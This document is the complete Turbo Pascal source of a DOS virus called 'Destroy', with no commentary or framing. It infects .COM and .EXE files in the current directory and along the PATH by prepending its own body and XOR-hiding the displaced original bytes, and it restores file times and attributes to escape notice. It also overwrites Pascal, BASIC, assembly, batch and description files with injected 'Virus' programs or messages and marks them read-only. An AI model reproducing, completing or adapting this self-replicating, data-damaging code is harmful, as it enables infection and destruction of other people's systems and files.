{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-} {$M 16384,20000,100000} PROGRAM Destroy; {$I-} USES CRT, DOS; CONST MyLen = 7335; VAR SR : SearchRec; FN : String; Dir : DirStr; Nam : NameStr; Ext : ExtStr; FUNCTION UpStr (S : String) : String; VAR I : Byte; BEGIN FOR I := 1 TO Length (S) DO S [I] := UpCase (S [I]); UpStr := S; END; PROCEDURE Infect_File; VAR F, F1 : File; Buff : Array [1..MYLEN] Of Byte; B : Byte; W : Word; BEGIN Assign (F, SR.Name); FileMode := 2; ReSet (F,1); IF IOResult <> 0 THEN Exit; IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN Close (F); Exit; END; Assign (F1, ParamStr (0)); ReSet (F1,1); IF IOResult <> 0 THEN BEGIN Close (F); Exit; END; Seek (F, FileSize (F)-1); BlockRead (F, B, 1, W); IF B = Ord ('') THEN BEGIN Close (F); Close (F1); Exit; END; Seek (F, 0); BlockRead (F, Buff, MyLen, W); FOR W := 1 TO MyLen DO Buff [W] := Buff [W] xor Byte (W); Seek (F, FileSize (F)); BlockWrite (F, Buff, MyLen, W); B := Ord (''); BlockWrite (F, B, 1, W); Seek (F, 0); BlockRead (F1, Buff, MyLen, W); BlockWrite (F, Buff, MyLen, W); Close (F1); SetFTime (F, SR.Time); Close (F); SetFAttr (F, SR.Attr); END; PROCEDURE KILLER_FILE (I : Byte); VAR T, T1 : Text; J : Byte; S : String; BEGIN IF SR.Attr And ReadOnly <> 0 THEN Exit; Assign (T, SR. Name); Assign (T1, 'QWERTY.SWP'); ReSet (T); IF I = 1 THEN BEGIN J := 0; WHILE EOF (T) = False DO BEGIN ReadLn (T, S); IF Pos ('PROGRAM', UpStr (S)) <> 0 THEN BEGIN J := 1; Break; END; END; IF J = 0 THEN BEGIN Close (T); Exit; END ELSE ReSet (T); END; ReWrite (T1); CASE I OF 1 : BEGIN WriteLn (T1, 'PROGRAM Virus;'); WriteLn (T1, 'BEGIN'); WriteLn (T1, 'WriteLn ('+#39+' !'+#39+');'); WriteLn (T1, 'END.'); END; 2 : BEGIN WriteLn (T1, 'PRINT " !"'); END; 3 : BEGIN WriteLn (T1, 'Model Tiny'); WriteLn (T1, '.Code'); WriteLn (T1, 'ORG 100h'); WriteLn (T1, 'START:'); WriteLn (T1, 'LEA DX, MSG'); WriteLn (T1, 'MOV AH,09h'); WriteLn (T1, 'INT 21h'); WriteLn (T1, 'RET'); WriteLn (T1, 'MSG db '+#39+' !'+#39+'0ah,0dh,'+#39+'$'+#39); WriteLn (T1, 'END START'); END; 4 : BEGIN WriteLn (T1, 'echo off'); WriteLn (T1, 'echo !'); WriteLn (T1, 'pause'); END; 5 : BEGIN WriteLn (T1, ' !'); END; 6 : BEGIN WriteLn (T1, ' - -'); WriteLn (T1, ' '); END; END; WHILE EOF (T) = False DO BEGIN ReadLn (T, S); WriteLn (T1, S); END; Close (T); Erase (T); Close (T1); Rename (T1, SR.Name); SetFAttr (T1, ReadOnly); END; PROCEDURE Find_In_To_Current_Directory; BEGIN FindFirst('*.*', $20, SR); While DosError = 0 do begin FSplit (SR.Name, Dir, Nam, Ext); IF Ext = '.COM' THEN Infect_File; IF Ext = '.EXE' THEN Infect_File; IF Ext = '.PAS' THEN KILLER_File (1); IF Ext = '.BAS' THEN KILLER_File (2); IF Ext = '.ASM' THEN KILLER_File (3); IF Ext = '.BAT' THEN KILLER_File (4); IF Ext = '.ME' THEN KILLER_File (5); IF Ext = '.DIZ' THEN KILLER_File (5); IF UpStr (SR.Name) = 'DIRINFO' THEN KILLER_File (6); FindNext(SR); End; END; PROCEDURE Exec_Program; VAR F1, F : File; Buff : Array [1..MYLEN] Of Byte; W : Word; S : String; FTime : LongInt; FAttr : Word; BEGIN FSplit (FExpand(ParamStr (0)), Dir, Nam, Ext); IF Nam = 'DESTROY' THEN Exit; Assign (F, ParamStr (0)); GetFAttr (F, FAttr); SetFAttr (F, Archive); FileMode := 2; ReSet (F,1); IF IOResult <> 0 THEN BEGIN WriteLn ('Disk failure'); Exit; END; GetFTime (F, FTime); Assign (F1, 'QWERTY.SWP'); ReWrite (F1,1); BlockRead (F, Buff, MyLen, W); BlockWrite (F1, Buff, MyLen, W); Seek (F, FileSize (F) - (MyLen + 1)); BlockRead (F, Buff, MyLen, W); FOR W := 1 TO MyLen DO Buff [W] := Buff [W] xor Byte (W); Seek (F, 0); BlockWrite (F, Buff, MyLen, W); Seek (F, FileSize (F) - (MyLen + 1)); Truncate (F); Close (F1); Close (F); S := ''; FOR W := 1 TO ParamCount DO S := ParamStr (1) + ' '; SwapVectors; Exec (ParamStr (0), S); SwapVectors; FileMode := 2; Assign (F, ParamStr (0)); ReSet (F,1); Assign (F1, 'QWERTY.SWP'); ReSet (F1,1); Seek (F, 0); BlockRead (F, Buff, MyLen, W); FOR W := 1 TO MyLen DO Buff [W] := Buff [W] xor Byte (W); Seek (F, FileSize (F)); BlockWrite (F,Buff, MyLen, W); Buff [1] := Ord(''); BlockWrite (F,Buff[1], 1, W); BlockRead (F1, Buff, MyLen, W); Seek (F, 0); BlockWrite (F, Buff, MyLen, W); SetFTime (F, FTime); Close (F); SetFAttr (F, FAttr); Close (F1); Erase (F1); END; PROCEDURE Search_From_PATH; VAR PS : String; Home : String; S : String; Ch : Char; I : Byte; BEGIN GetDir (0, Home); PS := GetEnv ('PATH'); S := ''; I := 1; WriteLn (PS); REPEAT IF I >= Length (PS)+1 THEN BEGIN IF S <> '' THEN BEGIN IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1); ChDir (S); IF IOResult = 0 THEN Find_In_To_Current_Directory; END; Break; END; Ch := PS [I]; Inc (I); IF Ch <> ';' THEN S := S + Ch ELSE BEGIN IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1); ChDir (S); IF IOResult <> 0 THEN BEGIN S := ''; Continue; END; Find_In_To_Current_Directory; S := ''; END; UNTIL False; ChDir (Home); END; BEGIN Find_In_To_Current_Directory; Exec_Program; Search_From_PATH; END.